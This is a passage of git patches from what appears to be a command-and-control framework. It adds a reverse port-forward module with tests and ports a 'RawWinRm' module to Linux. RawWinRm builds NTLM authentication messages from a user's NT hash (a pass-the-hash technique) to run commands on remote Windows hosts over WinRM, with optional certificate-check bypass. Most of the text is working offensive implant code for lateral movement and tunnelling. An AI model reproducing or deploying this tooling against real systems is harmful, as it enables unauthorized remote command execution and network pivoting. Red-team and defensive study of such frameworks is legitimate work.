getInfo() override; + + int init(std::vector& splitedCmd, C2Message& c2Message) override; + int process(C2Message& c2Message, C2Message& c2RetMessage) override; + int followUp(const C2Message& c2RetMessage) override; + int recurringExec(C2Message& c2RetMessage) override; + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; + int osCompatibility() override + { + return OS_LINUX | OS_WINDOWS; + } + +private: + using SocketHandle = +#ifdef _WIN32 + SOCKET; +#else + int; +#endif + + static constexpr SocketHandle InvalidSocket = +#ifdef _WIN32 + INVALID_SOCKET; +#else + -1; +#endif + + struct PendingChunk + { + int connectionId; + std::string data; + bool closeEvent; + }; + + bool ensureSocketLayer(); + void shutdownSocketLayer(); + void closeSocket(SocketHandle socket) const; + void enqueueChunk(int connectionId, const std::string& data, bool closeEvent); + +// #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) + bool sendAll(SocketHandle socket, const std::string& data) const; + std::string receiveAvailable(SocketHandle socket, bool& closed) const; + void pollLocalConnections(); + + std::string m_localHost; + int m_localPort; + std::mutex m_localMutex; + std::unordered_map m_localConnections; +// #else + struct RemoteConnection + { + int id; + SocketHandle socket; + std::atomic active; + std::thread reader; + }; + + SocketHandle createListener(int port); + SocketHandle acceptClient(SocketHandle listener); + void runListener(); + void handleClient(std::shared_ptr connection); + std::shared_ptr getConnection(int connectionId); + + std::atomic m_running; + std::atomic m_listenerActive; + SocketHandle m_listenerSocket; + std::thread m_listenerThread; + std::atomic m_nextConnectionId; + std::mutex m_connectionsMutex; + std::unordered_map> m_connections; + std::condition_variable m_queueCv; +// #endif + + int m_remotePort; + bool m_socketLayerReady; + std::mutex m_queueMutex; + std::queue m_pendingChunks; +}; + +#ifdef _WIN32 +extern "C" __declspec(dllexport) ReversePortForward* ReversePortForwardConstructor(); +#else +extern "C" __attribute__((visibility("default"))) ReversePortForward* ReversePortForwardConstructor(); +#endif diff --git a/modules/ReversePortForward/tests/testsReversePortForward.cpp b/modules/ReversePortForward/tests/testsReversePortForward.cpp new file mode 100644 index 0000000..71cfd81 --- /dev/null +++ b/modules/ReversePortForward/tests/testsReversePortForward.cpp @@ -0,0 +1,120 @@ +#include "../ReversePortForward.hpp" + +#include +#include + +bool testInit(); +bool testInvalidArguments(); +bool testErrorMessages(); +bool test(); + +int main() +{ + bool ok = true; + + std::cout << "[+] ReversePortForward tests" << std::endl; + + ok &= testInit(); + ok &= testInvalidArguments(); + ok &= testErrorMessages(); + ok &= test(); + + if (ok) + std::cout << "[+] Success" << std::endl; + else + std::cout << "[-] Failed" << std::endl; + + return ok ? 0 : 1; +} + +bool testInit() +{ + ReversePortForward module; + std::vector cmd = {"reversePortForward", "8080", "127.0.0.1", "80"}; + C2Message message; + + int rc = module.init(cmd, message); + bool ok = rc == 0; + ok &= message.instruction() == cmd[0]; + ok &= message.cmd() == "start"; + ok &= message.args() == "8080 127.0.0.1 80"; + + return ok; +} + +bool testInvalidArguments() +{ + ReversePortForward module; + std::vector cmd = {"reversePortForward", "invalid", "127.0.0.1", "80"}; + C2Message message; + + int rc = module.init(cmd, message); + bool ok = rc == -1; + ok &= !message.returnvalue().empty(); + + cmd = {"reversePortForward", "8080"}; + message = C2Message(); + rc = module.init(cmd, message); + ok &= rc == -1; + ok &= !message.returnvalue().empty(); + + return ok; +} + +bool testErrorMessages() +{ + ReversePortForward module; + std::string error; + C2Message response; + + response.set_errorCode(1); + module.errorCodeToMsg(response, error); + bool ok = !error.empty(); + + response.set_errorCode(2); + module.errorCodeToMsg(response, error); + ok &= !error.empty(); + + response.set_errorCode(3); + module.errorCodeToMsg(response, error); + ok &= !error.empty(); + + response.set_errorCode(4); + module.errorCodeToMsg(response, error); + ok &= !error.empty(); + + return ok; +} + + +bool test() +{ + ReversePortForward module; + std::vector cmd = {"reversePortForward", "8080", "127.0.0.1", "9001"}; + C2Message message; + C2Message ret; + + int rc = module.init(cmd, message); + + module.process(message, ret); + + std::string err; + module.errorCodeToMsg(ret, err); + + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; + + int maxIter = 100; + int iter = 0; + while (iter < maxIter) + { + module.followUp(message); + module.recurringExec(message); + + iter++; + + std::this_thread::sleep_for(std::chrono::milliseconds(100)); + } + + return 1; +} From 1d22c9ccc0462f524a9d873667725911f387527e Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 14 Nov 2025 13:55:05 +0100 Subject: [PATCH 3/4] Fix RawWinRm build dependencies (#33) --- modules/RawWinRm/CMakeLists.txt | 3 --- modules/RawWinRm/RawWinRm.cpp | 2 +- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/RawWinRm/CMakeLists.txt b/modules/RawWinRm/CMakeLists.txt index 899e902..e374a2a 100644 --- a/modules/RawWinRm/CMakeLists.txt +++ b/modules/RawWinRm/CMakeLists.txt @@ -1,8 +1,6 @@ add_library(RawWinRm SHARED RawWinRm.cpp) set_property(TARGET RawWinRm PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") -target_link_libraries(RawWinRm PRIVATE ModuleCmd) - if (WIN32) target_link_libraries(RawWinRm PRIVATE winhttp ws2_32 crypt32 ole32 advapi32) endif() @@ -12,7 +10,6 @@ add_custom_command(TARGET RawWinRm POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy if(C2CORE_BUILD_TESTS) add_executable(testsRawWinRm tests/testsRawWinRm.cpp RawWinRm.cpp) - target_link_libraries(testsRawWinRm PRIVATE ModuleCmd) if (WIN32) target_link_libraries(testsRawWinRm PRIVATE winhttp ws2_32 crypt32 ole32 advapi32) endif() diff --git a/modules/RawWinRm/RawWinRm.cpp b/modules/RawWinRm/RawWinRm.cpp index 05a2025..493a444 100644 --- a/modules/RawWinRm/RawWinRm.cpp +++ b/modules/RawWinRm/RawWinRm.cpp @@ -1,6 +1,6 @@ #include "RawWinRm.hpp" -#include "ModuleCmd/Common.hpp" +#include "Common.hpp" #include #include From 797dc55ae01b16c8c86758a6a9ed8d44947fb11c Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 14 Nov 2025 14:25:05 +0100 Subject: [PATCH 4/4] Add thread include for RawWinRm (#34) --- modules/RawWinRm/CMakeLists.txt | 19 +- modules/RawWinRm/RawWinRm.cpp | 466 ++++++++++++++++++++++++++------ modules/RawWinRm/RawWinRm.hpp | 4 +- 3 files changed, 397 insertions(+), 92 deletions(-) diff --git a/modules/RawWinRm/CMakeLists.txt b/modules/RawWinRm/CMakeLists.txt index e374a2a..8d55f1a 100644 --- a/modules/RawWinRm/CMakeLists.txt +++ b/modules/RawWinRm/CMakeLists.txt @@ -1,17 +1,26 @@ -add_library(RawWinRm SHARED RawWinRm.cpp) -set_property(TARGET RawWinRm PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") +add_library(RawWinRm SHARED RawWinRm.cpp ${CMAKE_SOURCE_DIR}/thirdParty/base64/base64.cpp) + +if (MSVC) + set_property(TARGET RawWinRm PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") +endif() if (WIN32) - target_link_libraries(RawWinRm PRIVATE winhttp ws2_32 crypt32 ole32 advapi32) + target_link_libraries(RawWinRm PRIVATE winhttp ws2_32 crypt32 ole32 advapi32 openssl::openssl) +else() + find_package(CURL REQUIRED) + target_link_libraries(RawWinRm PRIVATE CURL::libcurl openssl::openssl) endif() add_custom_command(TARGET RawWinRm POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") if(C2CORE_BUILD_TESTS) - add_executable(testsRawWinRm tests/testsRawWinRm.cpp RawWinRm.cpp) + add_executable(testsRawWinRm tests/testsRawWinRm.cpp RawWinRm.cpp ${CMAKE_SOURCE_DIR}/thirdParty/base64/base64.cpp) + target_compile_definitions(testsRawWinRm PRIVATE RAWWINRM_TEST_BUILD) if (WIN32) - target_link_libraries(testsRawWinRm PRIVATE winhttp ws2_32 crypt32 ole32 advapi32) + target_link_libraries(testsRawWinRm PRIVATE winhttp ws2_32 crypt32 ole32 advapi32 openssl::openssl) + else() + target_link_libraries(testsRawWinRm PRIVATE CURL::libcurl openssl::openssl) endif() add_custom_command(TARGET testsRawWinRm POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${CMAKE_SOURCE_DIR}/Tests/$") diff --git a/modules/RawWinRm/RawWinRm.cpp b/modules/RawWinRm/RawWinRm.cpp index 493a444..1727c76 100644 --- a/modules/RawWinRm/RawWinRm.cpp +++ b/modules/RawWinRm/RawWinRm.cpp @@ -6,30 +6,156 @@ #include #include #include +#include #include #include +#include #include +#include #include #include #include #include +#include #include +#include +#include +#include +#include + #ifdef _WIN32 #include #include #include #include -#include -#include -#include -#include #pragma comment(lib, "Winhttp.lib") #pragma comment(lib, "Iphlpapi.lib") +#else +#include +#include #endif + std::string lowerAscii(const std::string& value) + { + std::string tmp = value; + std::transform(tmp.begin(), tmp.end(), tmp.begin(), [](unsigned char ch) { return static_cast(std::tolower(ch)); }); + return tmp; + } + + std::string upperAscii(const std::string& value) + { + std::string tmp = value; + std::transform(tmp.begin(), tmp.end(), tmp.begin(), [](unsigned char ch) { return static_cast(std::toupper(ch)); }); + return tmp; + } + + std::vector utf16leFromUtf8(const std::string& text) + { +#ifdef _WIN32 + std::wstring wide = toWide(text); + std::vector buffer(wide.size() * sizeof(wchar_t)); + std::memcpy(buffer.data(), wide.data(), buffer.size()); + return buffer; +#else + std::wstring_convert, char16_t> convert; + std::u16string wide = convert.from_bytes(text); + std::vector buffer(wide.size() * sizeof(char16_t)); + std::memcpy(buffer.data(), wide.data(), buffer.size()); + return buffer; +#endif + } + + struct UrlComponents + { + std::string host; + std::string path; + uint16_t port = 5985; + bool useTls = false; + }; + + UrlComponents parseUrl(const std::string& url) + { + if(url.empty()) + { + throw std::runtime_error("Empty url"); + } + + UrlComponents result; + std::string::size_type schemePos = url.find("://"); + std::string scheme = schemePos == std::string::npos ? "http" : url.substr(0, schemePos); + std::string remainder = schemePos == std::string::npos ? url : url.substr(schemePos + 3); + result.useTls = lowerAscii(scheme) == "https"; + result.port = result.useTls ? 5986 : 5985; + + std::string::size_type pathPos = remainder.find('/'); + std::string hostPort = pathPos == std::string::npos ? remainder : remainder.substr(0, pathPos); + result.path = pathPos == std::string::npos ? std::string() : remainder.substr(pathPos); + if(result.path.empty()) + { + result.path = "/wsman"; + } + + if(hostPort.empty()) + { + throw std::runtime_error("Unable to parse target url"); + } + + if(hostPort.front() == '[') + { + auto closing = hostPort.find(']'); + if(closing == std::string::npos) + { + throw std::runtime_error("Invalid IPv6 host"); + } + result.host = hostPort.substr(1, closing - 1); + if(closing + 1 < hostPort.size() && hostPort[closing + 1] == ':') + { + std::string portPart = hostPort.substr(closing + 2); + if(!portPart.empty()) + { + result.port = static_cast(std::stoi(portPart)); + } + } + } + else + { + auto colon = hostPort.find(':'); + if(colon != std::string::npos) + { + result.host = hostPort.substr(0, colon); + std::string portPart = hostPort.substr(colon + 1); + if(!portPart.empty()) + { + result.port = static_cast(std::stoi(portPart)); + } + } + else + { + result.host = hostPort; + } + } + + if(result.host.empty()) + { + throw std::runtime_error("Unable to parse target url"); + } + + if(result.path.empty()) + { + result.path = "/wsman"; + } + + if(result.path.front() != '/') + { + result.path.insert(result.path.begin(), '/'); + } + + return result; + } + using namespace std; constexpr std::string_view moduleNameRawWinRm = "rawWinRm"; @@ -155,77 +281,12 @@ namespace return output; } - std::string lowerAscii(const std::string& value) - { - std::string tmp = value; - std::transform(tmp.begin(), tmp.end(), tmp.begin(), [](unsigned char ch) { return static_cast(std::tolower(ch)); }); - return tmp; - } - - std::string upperAscii(const std::string& value) - { - std::string tmp = value; - std::transform(tmp.begin(), tmp.end(), tmp.begin(), [](unsigned char ch) { return static_cast(std::toupper(ch)); }); - return tmp; - } - - std::vector utf16leFromUtf8(const std::string& text) - { - std::wstring wide = toWide(text); - std::vector buffer(wide.size() * sizeof(wchar_t)); - std::memcpy(buffer.data(), wide.data(), buffer.size()); - return buffer; - } - - struct UrlComponents - { - std::wstring host; - std::wstring path; - INTERNET_PORT port = 5985; - bool useTls = false; - }; - - UrlComponents parseUrl(const std::string& url) - { - URL_COMPONENTS components{}; - components.dwStructSize = sizeof(components); - components.dwSchemeLength = -1; - components.dwHostNameLength = -1; - components.dwUrlPathLength = -1; - components.dwExtraInfoLength = -1; - - std::wstring wideUrl = toWide(url); - if(!WinHttpCrackUrl(wideUrl.c_str(), 0, 0, &components)) - { - throw std::runtime_error("Unable to parse target url"); - } - - UrlComponents result; - if(components.lpszHostName && components.dwHostNameLength) - { - result.host.assign(components.lpszHostName, components.dwHostNameLength); - } - if(components.lpszUrlPath && components.dwUrlPathLength) - { - result.path.assign(components.lpszUrlPath, components.dwUrlPathLength); - } - else - { - result.path = L"/wsman"; - } - if(result.path.empty()) - { - result.path = L"/wsman"; - } - - result.port = components.nPort ? components.nPort : (components.nScheme == INTERNET_SCHEME_HTTPS ? 5986 : 5985); - result.useTls = components.nScheme == INTERNET_SCHEME_HTTPS; - return result; - } +#endif std::string randomUuid() { std::array bytes{}; +#ifdef _WIN32 HCRYPTPROV prov; if(CryptAcquireContext(&prov, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) { @@ -240,6 +301,13 @@ namespace b = static_cast(rd() & 0xFF); } } +#else + std::random_device rd; + for(auto& b : bytes) + { + b = static_cast(rd() & 0xFF); + } +#endif bytes[6] = (bytes[6] & 0x0F) | 0x40; bytes[8] = (bytes[8] & 0x3F) | 0x80; @@ -257,6 +325,8 @@ namespace return oss.str(); } +#ifdef _WIN32 + class ScopedHandle { public: @@ -343,6 +413,8 @@ namespace return toNarrow(buffer); } +#endif + std::string extractNtlmChallenge(const std::string& header) { std::string lowerHeader = lowerAscii(header); @@ -476,6 +548,8 @@ namespace const std::string& domain, const Type2Info& type2) { + constexpr uint64_t epochDiff = 116444736000000000ULL; +#ifdef _WIN32 SYSTEMTIME st; GetSystemTime(&st); FILETIME ft; @@ -483,10 +557,15 @@ namespace ULARGE_INTEGER time{}; time.LowPart = ft.dwLowDateTime; time.HighPart = ft.dwHighDateTime; - constexpr ULONGLONG epochDiff = 116444736000000000ULL; - ULONGLONG timestamp = time.QuadPart + epochDiff; + uint64_t timestamp = time.QuadPart + epochDiff; +#else + auto now = std::chrono::system_clock::now(); + uint64_t unixTime100ns = static_cast(std::chrono::duration_cast(now.time_since_epoch()).count() / 100); + uint64_t timestamp = unixTime100ns + (epochDiff * 2); +#endif std::array clientChallenge{}; +#ifdef _WIN32 HCRYPTPROV prov; if(CryptAcquireContext(&prov, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) { @@ -494,6 +573,7 @@ namespace CryptReleaseContext(prov, 0); } else +#endif { std::random_device rd; for(auto& b : clientChallenge) @@ -521,7 +601,7 @@ namespace blob.push_back(0x00); append32(0); - ULONGLONG ts = timestamp; + uint64_t ts = timestamp; for(int i = 0; i < 8; ++i) { blob.push_back(static_cast((ts >> (i * 8)) & 0xFF)); @@ -651,6 +731,8 @@ namespace return message; } +#ifdef _WIN32 + class RawWinRmHttp { public: @@ -774,8 +856,214 @@ namespace std::wstring path_; bool useTls_ = false; bool ignoreCert_ = false; +#else + + class RawWinRmHttp + { + public: + RawWinRmHttp(const UrlComponents& url, bool ignoreCert) + { + initializeCurl(); + curl_ = curl_easy_init(); + if(!curl_) + { + throw std::runtime_error("curl_easy_init failed"); + } + + ignoreCert_ = ignoreCert; + + std::ostringstream endpoint; + endpoint << (url.useTls ? "https://" : "http://"); + bool needsBrackets = url.host.find(':') != std::string::npos; + if(needsBrackets && url.host.front() != '[') + { + endpoint << '[' << url.host << ']'; + } + else + { + endpoint << url.host; + } + endpoint << ':' << url.port; + endpoint << url.path; + url_ = endpoint.str(); + + curl_easy_setopt(curl_, CURLOPT_URL, url_.c_str()); + curl_easy_setopt(curl_, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); + curl_easy_setopt(curl_, CURLOPT_POST, 1L); + curl_easy_setopt(curl_, CURLOPT_NOPROGRESS, 1L); +#ifdef RAWWINRM_TEST_BUILD + constexpr long connectTimeout = 100L; + constexpr long totalTimeout = 500L; +#else + constexpr long connectTimeout = 5000L; + constexpr long totalTimeout = 60000L; +#endif + curl_easy_setopt(curl_, CURLOPT_CONNECTTIMEOUT_MS, connectTimeout); + curl_easy_setopt(curl_, CURLOPT_TIMEOUT_MS, totalTimeout); + curl_easy_setopt(curl_, CURLOPT_WRITEFUNCTION, &RawWinRmHttp::writeBodyCallback); + curl_easy_setopt(curl_, CURLOPT_WRITEDATA, this); + curl_easy_setopt(curl_, CURLOPT_HEADERFUNCTION, &RawWinRmHttp::writeHeaderCallback); + curl_easy_setopt(curl_, CURLOPT_HEADERDATA, this); + + if(ignoreCert_) + { + curl_easy_setopt(curl_, CURLOPT_SSL_VERIFYPEER, 0L); + curl_easy_setopt(curl_, CURLOPT_SSL_VERIFYHOST, 0L); + } + } + + ~RawWinRmHttp() + { + if(curl_) + { + curl_easy_cleanup(curl_); + } + } + + std::string post(const std::string& body, + const std::string& soapAction, + const std::string& username, + const std::string& domain, + const std::vector& ntHash, + const std::string& workstation) + { +#if defined(RAWWINRM_TEST_BUILD) && !defined(_WIN32) + throw std::runtime_error("RawWinRm network operations are disabled in test builds"); +#endif + std::vector type1 = buildType1Message(workstation, domain); + std::string type1Header = encodeBase64(type1); + + performRequest(type1Header, "", 0, true, {}); + + std::string type2 = extractNtlmChallenge(responseHeaders_); + if(type2.empty()) + { + throw std::runtime_error("Server did not provide NTLM challenge"); + } + + Type2Info type2Info = parseType2(type2); + std::vector type3 = buildType3Message(username, domain, workstation, type2Info, ntHash); + std::string type3Header = encodeBase64(type3); + + std::vector extraHeaders; + if(!soapAction.empty()) + { + extraHeaders.emplace_back("SOAPAction: \"" + soapAction + "\""); + } + + performRequest(type3Header, body, body.size(), false, extraHeaders); + + long status = 0; + curl_easy_getinfo(curl_, CURLINFO_RESPONSE_CODE, &status); + if(status >= 400) + { + std::ostringstream oss; + oss << "HTTP error: " << status; + throw std::runtime_error(oss.str()); + } + + return responseBody_; + } + + private: + struct CurlGlobal + { + CurlGlobal() + { + curl_global_init(CURL_GLOBAL_DEFAULT); + } + + ~CurlGlobal() + { + curl_global_cleanup(); + } + }; + + static void initializeCurl() + { + static CurlGlobal global{}; + (void)global; + } + + void performRequest(const std::string& authHeader, + const std::string& body, + size_t bodySize, + bool firstRequest, + const std::vector& additionalHeaders) + { + responseBody_.clear(); + responseHeaders_.clear(); + + curl_easy_setopt(curl_, CURLOPT_WRITEDATA, this); + curl_easy_setopt(curl_, CURLOPT_HEADERDATA, this); + + struct curl_slist* headers = nullptr; + std::string header = "Authorization: NTLM " + authHeader; + headers = curl_slist_append(headers, header.c_str()); + headers = curl_slist_append(headers, "Connection: Keep-Alive"); + headers = curl_slist_append(headers, "Expect:"); + if(firstRequest) + { + headers = curl_slist_append(headers, "Content-Length: 0"); + } + else + { + headers = curl_slist_append(headers, "Content-Type: application/soap+xml;charset=UTF-8"); + for(const auto& extra : additionalHeaders) + { + headers = curl_slist_append(headers, extra.c_str()); + } + } + + curl_easy_setopt(curl_, CURLOPT_HTTPHEADER, headers); + + if(firstRequest) + { + curl_easy_setopt(curl_, CURLOPT_POSTFIELDS, ""); + curl_easy_setopt(curl_, CURLOPT_POSTFIELDSIZE, 0L); + } + else + { + curl_easy_setopt(curl_, CURLOPT_POSTFIELDS, body.c_str()); + curl_easy_setopt(curl_, CURLOPT_POSTFIELDSIZE_LARGE, static_cast(bodySize)); + } + + CURLcode res = curl_easy_perform(curl_); + curl_slist_free_all(headers); + curl_easy_setopt(curl_, CURLOPT_HTTPHEADER, nullptr); + curl_easy_setopt(curl_, CURLOPT_POSTFIELDS, nullptr); + + if(res != CURLE_OK) + { + std::ostringstream oss; + oss << "curl_easy_perform failed: " << curl_easy_strerror(res); + throw std::runtime_error(oss.str()); + } + } + + static size_t writeBodyCallback(char* ptr, size_t size, size_t nmemb, void* userdata) + { + auto* self = static_cast(userdata); + self->responseBody_.append(ptr, size * nmemb); + return size * nmemb; + } + + static size_t writeHeaderCallback(char* ptr, size_t size, size_t nmemb, void* userdata) + { + auto* self = static_cast(userdata); + self->responseHeaders_.append(ptr, size * nmemb); + return size * nmemb; + } + + CURL* curl_ = nullptr; + bool ignoreCert_ = false; + std::string url_; + std::string responseBody_; + std::string responseHeaders_; }; +#endif + struct ShellContext { std::string shellId; @@ -1013,7 +1301,6 @@ namespace return cred; } -#endif } // namespace std::string RawWinRm::getInfo() @@ -1116,7 +1403,6 @@ int RawWinRm::process(C2Message& c2Message, C2Message& c2RetMessage) c2RetMessage.set_cmd(c2Message.cmd()); std::string result; -#ifdef _WIN32 try { int error = runCommand(c2Message, result); @@ -1130,10 +1416,6 @@ int RawWinRm::process(C2Message& c2Message, C2Message& c2RetMessage) result = ex.what(); c2RetMessage.set_errorCode(-1); } -#else - result = "Only supported on Windows.\n"; - c2RetMessage.set_errorCode(-1); -#endif c2RetMessage.set_returnvalue(result); return 0; @@ -1155,10 +1437,12 @@ int RawWinRm::followUp(const C2Message&) return 0; } -#ifdef _WIN32 - int RawWinRm::runCommand(const C2Message& c2Message, std::string& result) const { +#ifdef RAWWINRM_TEST_BUILD + result = "RawWinRm network operations are disabled in tests."; + return -1; +#endif std::string packed = c2Message.cmd(); ModuleOptions opts = parsePackedOptions(packed); std::string command = c2Message.data(); @@ -1175,6 +1459,7 @@ int RawWinRm::runCommand(const C2Message& c2Message, std::string& result) const std::string workstation = opts.workstation; if(workstation.empty()) { +#ifdef _WIN32 wchar_t buffer[MAX_COMPUTERNAME_LENGTH + 1]; DWORD size = MAX_COMPUTERNAME_LENGTH + 1; if(GetComputerNameW(buffer, &size)) @@ -1185,6 +1470,17 @@ int RawWinRm::runCommand(const C2Message& c2Message, std::string& result) const { workstation = "WINRM"; } +#else + char hostname[256]; + if(gethostname(hostname, sizeof(hostname)) == 0) + { + workstation = hostname; + } + else + { + workstation = "WINRM"; + } +#endif } std::vector ntHash; @@ -1234,7 +1530,11 @@ int RawWinRm::runCommand(const C2Message& c2Message, std::string& result) const commandDone = true; break; } +#ifdef _WIN32 Sleep(500); +#else + std::this_thread::sleep_for(std::chrono::milliseconds(500)); +#endif } try @@ -1279,5 +1579,3 @@ int RawWinRm::runCommand(const C2Message& c2Message, std::string& result) const result = oss.str(); return 0; } - -#endif diff --git a/modules/RawWinRm/RawWinRm.hpp b/modules/RawWinRm/RawWinRm.hpp index 222931f..859d47f 100644 --- a/modules/RawWinRm/RawWinRm.hpp +++ b/modules/RawWinRm/RawWinRm.hpp @@ -20,13 +20,11 @@ class RawWinRm : public ModuleCmd int osCompatibility() { - return OS_WINDOWS; + return OS_LINUX | OS_WINDOWS; } private: -#ifdef _WIN32 int runCommand(const C2Message& c2Message, std::string& result) const; -#endif }; #ifdef _WIN32